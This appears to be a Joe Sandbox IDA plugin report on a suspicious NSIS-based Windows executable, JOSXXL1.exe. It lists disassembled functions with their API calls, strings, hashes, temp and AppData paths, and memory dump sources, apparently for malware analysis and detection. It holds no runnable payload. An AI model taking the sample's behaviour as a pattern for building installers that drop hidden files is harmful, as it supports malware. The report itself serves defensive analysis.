Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\JOSXXL1.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\indvandrings\attraavrdig$C:\Users\user\AppData\Local\indvandrings\attraavrdig$C:\Users\user\Desktop$C:\Users\user\Desktop\JOSXXL1.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$kernel32::EnumResourceTypesA(i 0,i r8,i 0)$~nsu
API String ID: 3586999533-2604846293
Opcode ID: 37fd72db2f3c779e54c66a831dce751320d167363bccd50d4a6240ace931b804
Instruction ID: 382b60f40ca78a79eaa77c6fd6579f97e3273799caf5780a05f3f86dc88dff68
Opcode Fuzzy Hash: 37fd72db2f3c779e54c66a831dce751320d167363bccd50d4a6240ace931b804
Instruction Fuzzy Hash: 1DD11771200300BBD7207F659D09A2B3EADEB4070AF15843FF885B62D2DB7D9956876E

Function 00405421 Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040547F
GetDlgItem.USER32(?,000003EE), ref: 0040548E
GetClientRect.USER32(?,?), ref: 004054CB
GetSystemMetrics.USER32(00000002), ref: 004054D2
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054F3
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405504
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405517
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405525
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405538
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040555A
ShowWindow.USER32(?,00000008), ref: 0040556E
GetDlgItem.USER32(?,000003EC), ref: 0040558F
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040559F
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055B8
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055C4
GetDlgItem.USER32(?,000003F8), ref: 0040549D

Part of subcall function 0040427C: SendMessageW.USER32(00000028,?,00000001,004040A8), ref: 0040428A

GetDlgItem.USER32(?,000003EC), ref: 004055E1
CreateThread.KERNELBASE(00000000,00000000,Function_000053B5,00000000), ref: 004055EF
CloseHandle.KERNELBASE(00000000), ref: 004055F6
ShowWindow.USER32(00000000), ref: 0040561A
ShowWindow.USER32(?,00000008), ref: 0040561F
ShowWindow.USER32(00000008), ref: 00405669
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040569D
CreatePopupMenu.USER32 ref: 004056AE
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056C2
GetWindowRect.USER32(?,?), ref: 004056E2
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056FB
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405733
OpenClipboard.USER32(00000000), ref: 00405743
EmptyClipboard.USER32 ref: 00405749
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405755
GlobalLock.KERNEL32(00000000), ref: 0040575F
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405773
GlobalUnlock.KERNEL32(00000000), ref: 00405793
SetClipboardData.USER32(0000000D,00000000), ref: 0040579E
CloseClipboard.USER32 ref: 004057A4

Strings

\d, xrefs: 00405673
H7B, xrefs: 0040570F
{, xrefs: 00405687

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B$\d${
API String ID: 590372296-124952274
Opcode ID: b289c1c8cef76fdb5c73aa669ad90c431715ad63f7106bdf0767040ca558229c
Instruction ID: 2c7cb92300b087b9ae130e103e133312d6144c84674811722de124f1f1f34f09
Opcode Fuzzy Hash: b289c1c8cef76fdb5c73aa669ad90c431715ad63f7106bdf0767040ca558229c
Instruction Fuzzy Hash: 16B13770900608FFDF119F60DD899AE7B79FB08354F40847AFA45A62A0CB758E52DF68

Function 004061A5 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,?,00405319,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 00406268
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004062E6
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004062F9
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406335
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406343
CoTaskMemFree.OLE32(?), ref: 0040634E
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406372
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,?,00405319,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 004063CC

Strings

Call, xrefs: 004061CF, 004062AF, 004062D0, 004062E5, 004062F8, 00406314, 0040633F, 00406371, 00406377, 00406391, 004063A5, 004063C5, 004063CB, 004063D7, 0040640A
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040636C
Software\Microsoft\Windows\CurrentVersion, xrefs: 004062B4
Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll, xrefs: 004061CA

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-2531536127
Opcode ID: bef7a9cb1f259f829c94a4570d8a9b9bb83f0db893824e0baf2e821e2216e9af
Instruction ID: 0f73e779dd6c4db66e797802c36dad016b528f10de9f6072c808280cb7245e7c
Opcode Fuzzy Hash: bef7a9cb1f259f829c94a4570d8a9b9bb83f0db893824e0baf2e821e2216e9af
Instruction Fuzzy Hash: 9361F271A00105EBDB209F25CD41AAE37A5AF50314F16807FFD46BA2D0D73D89A2CB9D

Function 00405974 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 0040599D
lstrcatW.KERNEL32(00425750,\*.*,00425750,?,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 004059E5
lstrcatW.KERNEL32(?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405A08
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405A0E
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00405A1E
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,Error writing temporary file. Make sure your temp folder is valid.,0000002E), ref: 00405ABE
FindClose.KERNEL32(00000000), ref: 00405ACD

Strings

"C:\Users\user\Desktop\JOSXXL1.exe", xrefs: 0040597D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00405A5E
\*.*, xrefs: 004059DF
PWB, xrefs: 004059CD

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\JOSXXL1.exe"$Error writing temporary file. Make sure your temp folder is valid.$PWB$\*.*
API String ID: 2035342205-1255635639
Opcode ID: b88ea9f3819749435121edc00aa0cbde52c08bbffeef75bbb38eec1dc687fba1
Instruction ID: d49c34b76256c1d29f4337415f4183e275b3e80d30968624801757685f99445f
Opcode Fuzzy Hash: b88ea9f3819749435121edc00aa0cbde52c08bbffeef75bbb38eec1dc687fba1
Instruction Fuzzy Hash: E041B130A00A14EADB21AB618D89BAF7778DF41764F20427FF805B51D2D77C5982CE6E

Function 00406847 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 673f315f3887413ad686258b59d5e48c26cbda3fe4b4ae472fabdc6907277f98
Instruction ID: 5555e847f210990d4306c473702a26b4278c0affe79ec1256b97cb42bd71170f
Opcode Fuzzy Hash: 673f315f3887413ad686258b59d5e48c26cbda3fe4b4ae472fabdc6907277f98
Instruction Fuzzy Hash: 60F17671D04229CBCF28CFA8C8946ADBBB0FF44305F25856ED856BB281D7785A86CF45

Function 004064C6 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(74DF3420,00426798,00425F50,00405C88,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405994,?,74DF3420,74DF2EE0), ref: 004064D1
FindClose.KERNEL32(00000000), ref: 004064DD

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f4fd98db666761d1ec4a2d1f7e3b4d91bb1358fc4dad46a464095710d72655bf
Instruction ID: 6f39d47423a9e3911ec825e8889a8cd4e4dbe9a09c05077791626206cca478a1
Opcode Fuzzy Hash: f4fd98db666761d1ec4a2d1f7e3b4d91bb1358fc4dad46a464095710d72655bf
Instruction Fuzzy Hash: FED012715151209BC2901B787F0C85B7A989F553317128E36F46AF22E0C738CC67869C

Function 00403D6F Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403DAB
ShowWindow.USER32(?), ref: 00403DC8
DestroyWindow.USER32 ref: 00403DDC
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DF8
GetDlgItem.USER32(?,?), ref: 00403E19
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403E2D
IsWindowEnabled.USER32(00000000), ref: 00403E34
GetDlgItem.USER32(?,00000001), ref: 00403EE2
GetDlgItem.USER32(?,00000002), ref: 00403EEC
SetClassLongW.USER32(?,000000F2,?), ref: 00403F06
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F57
GetDlgItem.USER32(?,00000003), ref: 00403FFD
ShowWindow.USER32(00000000,?), ref: 0040401E
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404030
EnableWindow.USER32(?,?), ref: 0040404B
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404061
EnableMenuItem.USER32(00000000), ref: 00404068
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404080
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404093
lstrlenW.KERNEL32(00423748,?,00423748,00429260), ref: 004040BC
SetWindowTextW.USER32(?,00423748), ref: 004040D0
ShowWindow.USER32(?,0000000A), ref: 00404204

Strings

\d, xrefs: 0040411E
H7B, xrefs: 004040A8

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: H7B$\d
API String ID: 3282139019-3853218712
Opcode ID: a49a5196493c1ae2f906a4e5a743ada2448b48f181a0c80ef13299000ff6ec98
Instruction ID: 25c141fc174ea51021f963d75397c5770897fb54822066ed0df1b6b59a0401a8
Opcode Fuzzy Hash: a49a5196493c1ae2f906a4e5a743ada2448b48f181a0c80ef13299000ff6ec98
Instruction Fuzzy Hash: EFC1CFB1644200FBDB216F61EE84D2B7B78EB98745F40097EF641B51F0CB3998529B2E

Function 004039CC Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406559: GetModuleHandleA.KERNEL32(?,?,00000020,00403422,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040656B
Part of subcall function 00406559: GetProcAddress.KERNEL32(00000000,?), ref: 00406586

lstrcatW.KERNEL32(1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\JOSXXL1.exe"), ref: 00403A4D
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\indvandrings\attraavrdig,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,74DF3420), ref: 00403ACD
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\indvandrings\attraavrdig,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403AE0
GetFileAttributesW.KERNEL32(Call), ref: 00403AEB
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\indvandrings\attraavrdig), ref: 00403B34

Part of subcall function 004060CA: wsprintfW.USER32 ref: 004060D7

RegisterClassW.USER32(00429200), ref: 00403B71
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B89
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403BBE
ShowWindow.USER32(00000005,00000000), ref: 00403BF4
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403C20
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403C2D
RegisterClassW.USER32(00429200), ref: 00403C36
DialogBoxParamW.USER32(?,00000000,00403D6F,00000000), ref: 00403C55

Strings

_Nb, xrefs: 00403B50, 00403BB8
.exe, xrefs: 00403ADA
"C:\Users\user\Desktop\JOSXXL1.exe", xrefs: 004039CF
.DEFAULT\Control Panel\International, xrefs: 00403A38
C:\Users\user\AppData\Local\Temp\, xrefs: 004039D1
RichEdit, xrefs: 00403C27
C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 00403A5C, 00403A64, 00403B07, 00403B0D, 00403B1D
Call, xrefs: 00403A94, 00403A9D, 00403AAB, 00403AFA, 00403B00
RichEd20, xrefs: 00403BFA
1033, xrefs: 004039EC, 00403A48
RichEd32, xrefs: 00403C08
RichEdit20W, xrefs: 00403C18, 00403C1E
Control Panel\Desktop\ResourceLocale, xrefs: 00403A00
H7B, xrefs: 004039F8

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\JOSXXL1.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\indvandrings\attraavrdig$Call$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2416535552
Opcode ID: ad5632daeb9ffc2eb022d86f5b9fa885925c4b3de087c127450ada2267c15868
Instruction ID: 56c0b88d72ef28cc24ab3b3da6b812fbe5e4610ed82a7e8ff487d4c0aa16eca4
Opcode Fuzzy Hash: ad5632daeb9ffc2eb022d86f5b9fa885925c4b3de087c127450ada2267c15868
Instruction Fuzzy Hash: E261C270240600BAD720AF66AD45F2B3A7CEB84B09F40447EF945B22E2DB7D69118A3D

Function 00402E41 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402E55
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\JOSXXL1.exe,00000400), ref: 00402E71

Part of subcall function 00405D58: GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\Desktop\JOSXXL1.exe,80000000,00000003), ref: 00405D5C
Part of subcall function 00405D58: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D7E

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\JOSXXL1.exe,C:\Users\user\Desktop\JOSXXL1.exe,80000000,00000003), ref: 00402EBA
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403001

Strings

"C:\Users\user\Desktop\JOSXXL1.exe", xrefs: 00402E4A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040304A
C:\Users\user\Desktop, xrefs: 00402E9C, 00402EA1, 00402EA7
soft, xrefs: 00402F31
Null, xrefs: 00402F3A
Error launching installer, xrefs: 00402E91
Inst, xrefs: 00402F28
C:\Users\user\AppData\Local\Temp\, xrefs: 00402E4B, 00403019
C:\Users\user\Desktop\JOSXXL1.exe, xrefs: 00402E5B, 00402E6A, 00402E7E, 00402E9B
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403098

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\JOSXXL1.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\JOSXXL1.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-724361888
Opcode ID: 1be99897c4a46a5915ab510cfd1f8eff2a8e5667c51a4e1e053d1b6638955747
Instruction ID: 78d4ac72044dd1d4b64dcf5cb9e774c3474f7f20f7d9c099438d2fbc404b67ba
Opcode Fuzzy Hash: 1be99897c4a46a5915ab510cfd1f8eff2a8e5667c51a4e1e053d1b6638955747
